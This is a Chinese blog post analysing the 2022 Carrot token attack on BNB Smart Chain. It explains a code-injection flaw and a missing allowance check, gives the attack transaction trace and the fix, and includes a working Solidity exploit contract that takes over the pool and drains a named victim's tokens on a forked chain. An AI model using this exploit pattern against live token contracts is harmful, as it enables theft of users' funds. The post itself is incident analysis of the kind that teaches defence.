前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Bsc代币Carrot攻击事件分析

Bsc代币Carrot攻击事件分析

作者头像
Tiny熊
发布2022-11-07 12:42:36
5970
发布2022-11-07 12:42:36
举报
文章被收录于专栏:深入浅出区块链技术

本文作者:小驹[1]

Carrot 是一个ERC20 代币[2],漏洞存在于代币的合约中。合约中存在两个漏洞代码注入和逻辑错误,通过漏洞利用,可以达到转移任意用户的 Carrot 代币。利用过中还涉及一个未开源的 pool 合约。一句话总结漏洞利用过程:利用代码注入漏洞 Carrot 合约通过调用 pool 合约的方法成为 pool 合约的 owner,利用逻辑漏洞绕过转账时的授权检查。

基本信息

攻击者、攻击合约

account 0xd11a93a8db5f8d3fb03b88b4b24c3ed01b8a411c hackEoa account 0x5575406ef6b15eec1986c412b9fbe144522c45ae hackCon

存在漏洞的合约

Carrot 合约:0xcFF086EaD392CcB39C49eCda8C974ad5238452aC

pool 合约,未开源: 0x6863b549bf730863157318df4496ed111adfa64f account 0x6863b549bf730863157318df4496ed111adfa64f vulPool

漏洞原理

漏洞类型为:代码注入和逻辑错误。

漏洞主要存在两个地方:

  1. 代码注入。transReward函数可以达到执行任意 pool 合约的目的。
  2. 逻辑错误。使用的 REC20 合约中的transferFrom函数中的对满足_isExcludedFromFee 的用户,没有授权的判定。

漏洞 1:代码注入。导致任意人可以调用 pool 合约的代码,从而可以改变 pool 合约的 owner。

漏洞存在于 Carrot 合约中transReward函数中,该函数为 public 函数,可以通过传递 data 参数调用 pool 合约,pool 合约未开源。

代码语言:javascript
复制
function transReward(bytes memory data) public {
        pool.functionCall(data);
    }

pool 合约中存在0xbf699b4b 的函数,该函数可以设置 pool 合约的 owner

漏洞 2:逻辑错误。transferFrom函数中满足免税的用户,直接_transfer 了,而没有进行 approve 的判断,从而所有 Carrot 代币的用户,都可以被转走。

代码语言:javascript
复制
function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {

        _beforeTransfer(_msgSender(),recipient,amount);

        if(_isExcludedFromFee[_msgSender()]){
            _transfer(sender, recipient, amount);
            return true;
        }
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

攻击过程分析

主要使用 blocksec 进行分析。

调用黑客合约的0x668f0ad4 方法

黑客合约直接 delegatecall   0xc422f23102bf2eeb237a8f7789be6a6be3e4a251   0x668f0ad4 的方法

0xc422f23102bf2eeb237a8f7789be6a6be3e4a251   0x668f0ad4  直接调用了 hackCon 的  0x8d3360cc  方法 (这里考虑是不是回调)

delegatecall   0xc422f23102bf2eeb237a8f7789be6a6be3e4a251   0x8d3360cc 的方法

  • hackCon 将 Carrot 代币授权给 0x9b7325a150254df59d7253885d41d8d3310f9c1a
  • PancakeRouter 将 Carrot 代币授权给 hackCon
  • 调用 Carrot.transReward,这个函数只有一句代码 pool.functionCall(data); 其中 pool 的地址为:0x6863b549bf730863157318df4496ed111adfa64f data 中传递的参数: 给 pool 传递的原始数据为: 这里应该是弯路 0xbf699b4b0000000000000000000000005575406ef6b15eec1986c412b9fbe144522c45ae 应该对应两个字段: 前4个字节为函数名bf699b4b,现在未知 后面对应着一个合约地址:0x5575406ef6b15eec1986c412b9fbe144522c45ae,这个地址是黑客的攻击合约。 所以,这里是将黑客攻击合约的地址做为参数传递给了pool合约的bf699b4b函数。 可以使用cast calldata "test(address)" 0x5575406ef6b15eec1986c412b9fbe144522c45ae 看下calldata数据 💩 PS:这个pool地址是由Carrot的官方部署的。通过对 pool 合约逆向。可以看到 function 0xbf699b4b(uint256 varg0) public nonPayable { require(4 + (msg.data.length - 4) - 4 >= 32); 0x2110(varg0); if (_owner.code.size > 0) { stor_3_0_0 = 1; //IsOwnerContract } if (!stor_3_0_0) { v0 = v1 = _owner == msg.sender; if (_owner != msg.sender) { v0 = v2 = 0xff & _addLiquidity[msg.sender]; // 如果没设置owner的话,要求调用者在这个mapping中 } require(v0); } else { require(_owner == msg.sender); //如果设置过owner的话,要求调用者必须是owner } _owner = varg0; //将传入的地址设置成owner }
  • hackCon 从攻击合约向 Carrot 合约转了 0 个 Carrot 代币。( 🤣 为什么要转?)
  • 0x00b433800970286cf08f34c96cf07f35412f1161 向 hackCon 转了 31 万的 Carrot 代币。

攻击复现

anvil --fork-url https://rpc.ankr.com/bsc[3] --fork-block-number 22055611

代码语言:javascript
复制
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "./interfaces/Carrot.sol";
import "forge-std/console2.sol";
contract Hack {
    address public owner;
    address constant public CARADDR = 0xcFF086EaD392CcB39C49eCda8C974ad5238452aC;
    address constant public PANCAKEROUTER = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
    address constant public POOL = 0x6863b549bf730863157318df4496eD111aDFA64f;
    constructor() {
        owner = msg.sender;
    }
    modifier OnlyOwner() {
        require(owner==msg.sender, "OnlyOwner can");
        _;
    }
    function kill(address _to) public OnlyOwner {
        selfdestruct(payable(_to));
    }

    function hackProc() public OnlyOwner {
        Carrot carrot = Carrot(CARADDR);
        carrot.approve(PANCAKEROUTER, ~uint(0));

        carrot.transReward(abi.encodeWithSelector(0xbf699b4b, address(this)));
        carrot.transferFrom(address(this), CARADDR, 0);
        // 开始从授权账户转币
        address victim = 0x00B433800970286CF08F34C96cf07f35412F1161; //310344736073087429864760 原始攻击使用的受害者
        uint amount = carrot.balanceOf(victim);
        console2.log("Victim:%s, carrot balance:%s",
                    victim, amount);
        carrot.transferFrom(victim, address(this), amount);
        // 0x0522898a86196612248aD0FE88E8De4f7156DaC3

    }

}

漏洞修复

修复的方式

  1. 去掉了代码注入调用。
  2. 去掉了对免税者不检查 approve 的逻辑。

新合约与旧合约代码上的改变。

新合约的 pool 地址为 0x338b9B9E3fE6Ccf0A89C0B8189822dbE4a32fDd5

新的 pool 地址中也有一个 bf699b4b 的函数

几个思考

  1. 为什么只取了一个用户地址的代币?
  2. 不通过 Carrot 合约,直接调用 pool 合约的0xbf699b4b可以取得 owner 权限吗?
  3. 是什么时候设置的 owner 的?有没有可能修改这个值?怎么验证这个 owner? 合约变量存储在 slot 中,每个槽 32 字节。

对 2 的解答:

不可以。对 Carrot 合约0xcff086ead392ccb39c49ecda8c974ad5238452ac,在 pool 合约中 mapping 变量的值为 1,对其他合约0xb4c79daB8f259C7Aee6E5b2Aa729821864227e84,在 pool 合约中 mapping 变量的值为 0。所以其他合约在调用0xbf699b4b函数时,会因为 mapping 的原因,导致无法通过 pool 合约中的 require 检查,因此函数调用不会成功。0xcff086ead392ccb39c49ecda8c974ad5238452ac 的 mapping 变量的值

代码语言:javascript
复制
cast index address 0xcff086ead392ccb39c49ecda8c974ad5238452ac 1
0x50806b5fec72182ae612226c0727f3c74ce29b5ace29ce014a08273f16a515a3

cast storage 0x6863b549bf730863157318df4496ed111adfa64f 0x50806b5fec72182ae612226c0727f3c74ce29b5ace29ce014a08273f16a515a3 -r $ANVIL_RPC
0x0000000000000000000000000000000000000000000000000000000000000001

0xb4c79daB8f259C7Aee6E5b2Aa729821864227e84(foundry 部署的合约地址)的 mapping 变量的值

代码语言:javascript
复制
cast index address 0xb4c79daB8f259C7Aee6E5b2Aa729821864227e84 1
0x4471cc5cac2b64523530417b5fc41f30128f5b073ab87ef99ba1de02e6bb9deb

cast storage 0x6863b549bf730863157318df4496ed111adfa64f 0x4471cc5cac2b64523530417b5fc41f30128f5b073ab87ef99ba1de02e6bb9deb -r $ANVIL_RPC
0x0000000000000000000000000000000000000000000000000000000000000000

对 3 的解答

IsOwnerContract 存储在合约的 STORAGE 3 中,使用 cast 命令可以读取到,该值为 0,表示 owner 不是一个合约地址。

owner 的地址在合约的 STORAGE 5 中,使用

代码语言:javascript
复制
cast storage 0x6863b549bf730863157318df4496ed111adfa64f 5  -r $ANVIL_RPC
0x0000000000000000000000008958c8689d325fd9e2a1ede3d5dc1acfcfb65742

参考

攻击 tx: 0xa624660c29ee97f3f4ebd36232d8199e7c97533c9db711fa4027994aa11e01b9

漏洞合约地址:0xcff086ead392ccb39c49ecda8c974ad5238452ac

漏洞利用时 pool 合约地址:0x6863b549bf730863157318df4496ed111adfa64f

新合约地址: 0xE9809e9FD9FFa2b9f52755839bE6B6F9891C50cB

新合约使用的 pool 地址: 0x338b9B9E3fE6Ccf0A89C0B8189822dbE4a32fDd5

account   0xd11a93a8db5f8d3fb03b88b4b24c3ed01b8a411c   hackEoa

account   0x5575406ef6b15eec1986c412b9fbe144522c45ae   hackCon

https://phalcon.blocksec.com/tx/bsc/0xa624660c29ee97f3f4ebd36232d8199e7c97533c9db711fa4027994aa11e01b9[4]

Foundry 的基本使用总结 https://learnblockchain.cn/article/4725[5]

参考资料

[1]

小驹: https://learnblockchain.cn/people/9625

[2]

ERC20代币: https://learnblockchain.cn/article/3672

[3]

https://rpc.ankr.com/bsc: https://rpc.ankr.com/bsc

[4]

https://phalcon.blocksec.com/tx/bsc/0xa624660c29ee97f3f4ebd36232d8199e7c97533c9db711fa4027994aa11e01b9: https://phalcon.blocksec.com/tx/bsc/0xa624660c29ee97f3f4ebd36232d8199e7c97533c9db711fa4027994aa11e01b9

[5]

https://learnblockchain.cn/article/4725: https://learnblockchain.cn/article/4725

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2022-10-20,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 深入浅出区块链技术 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 基本信息
  • 漏洞原理
  • 攻击过程分析
  • 攻击复现
  • 漏洞修复
  • 几个思考
  • 参考
    • 参考资料
    相关产品与服务
    脆弱性检测服务
    脆弱性检测服务(Vulnerability detection Service,VDS)在理解客户实际需求的情况下,制定符合企业规模的漏洞扫描方案。通过漏洞扫描器对客户指定的计算机系统、网络组件、应用程序进行全面的漏洞检测服务,由腾讯云安全专家对扫描结果进行解读,为您提供专业的漏洞修复建议和指导服务,有效地降低企业资产安全风险。
    领券
    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档